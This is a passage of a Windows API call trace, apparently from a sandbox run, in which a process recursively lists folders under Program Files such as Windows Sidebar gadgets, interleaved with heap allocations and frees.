ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.312] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.313] GetProcessHeap () returned 0x550000 [0207.313] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.313] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.313] GetProcessHeap () returned 0x550000 [0207.313] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.314] GetProcessHeap () returned 0x550000 [0207.314] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.314] GetProcessHeap () returned 0x550000 [0207.314] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.315] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.316] GetProcessHeap () returned 0x550000 [0207.316] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.316] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.316] GetProcessHeap () returned 0x550000 [0207.316] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.317] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.317] GetProcessHeap () returned 0x550000 [0207.317] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.317] GetProcessHeap () returned 0x550000 [0207.317] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb755560, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb755560, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.500] GetProcessHeap () returned 0x550000 [0207.500] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.501] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.502] GetProcessHeap () returned 0x550000 [0207.502] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.502] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.502] GetProcessHeap () returned 0x550000 [0207.502] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.502] GetProcessHeap () returned 0x550000 [0207.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbe2d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe2d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.585] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.587] GetProcessHeap () returned 0x550000 [0207.587] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.587] GetProcessHeap () returned 0x550000 [0207.587] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.588] GetProcessHeap () returned 0x550000 [0207.588] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.588] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.589] GetProcessHeap () returned 0x550000 [0207.589] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.589] GetProcessHeap () returned 0x550000 [0207.589] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.646] GetProcessHeap () returned 0x550000 [0207.646] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.647] GetProcessHeap () returned 0x550000 [0207.648] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.648] GetProcessHeap () returned 0x550000 [0207.648] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.648] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.649] GetProcessHeap () returned 0x550000 [0207.649] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.649] GetProcessHeap () returned 0x550000 [0207.649] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.650] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.650] GetProcessHeap () returned 0x550000 [0207.650] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.650] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.650] GetProcessHeap () returned 0x550000 [0207.650] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.650] GetProcessHeap () returned 0x550000 [0207.650] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.652] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.653] GetProcessHeap () returned 0x550000 [0207.653] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.653] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.654] GetProcessHeap () returned 0x550000 [0207.654] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.654] GetProcessHeap () returned 0x550000 [0207.654] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.654] GetProcessHeap () returned 0x550000 [0207.654] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.654] GetProcessHeap () returned 0x550000 [0207.654] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.658] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.658] GetProcessHeap () returned 0x550000 [0207.658] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.658] GetProcessHeap () returned 0x550000 [0207.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.659] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.659] GetProcessHeap () returned 0x550000 [0207.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.659] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.659] GetProcessHeap () returned 0x550000 [0207.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.659] GetProcessHeap () returned 0x550000 [0207.659] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.664] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.665] GetProcessHeap () returned 0x550000 [0207.665] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.665] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.665] GetProcessHeap () returned 0x550000 [0207.665] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.665] GetProcessHeap () returned 0x550000 [0207.665] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.666] GetProcessHeap () returned 0x550000 [0207.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.667] GetProcessHeap () returned 0x550000 [0207.667] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.668] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.672] GetProcessHeap () returned 0x550000 [0207.672] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.672] GetProcessHeap () returned 0x550000 [0207.672] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.673] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.673] GetProcessHeap () returned 0x550000 [0207.673] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.673] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.673] GetProcessHeap () returned 0x550000 [0207.673] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.673] GetProcessHeap () returned 0x550000 [0207.673] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.675] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.725] GetProcessHeap () returned 0x550000 [0207.725] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.727] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.729] GetProcessHeap () returned 0x550000 [0207.771] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.771] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1 [0207.771] GetProcessHeap () returned 0x550000 [0207.771] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.894] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.894] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0207.894] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0207.894] GetProcessHeap () returned 0x550000 [0207.894] 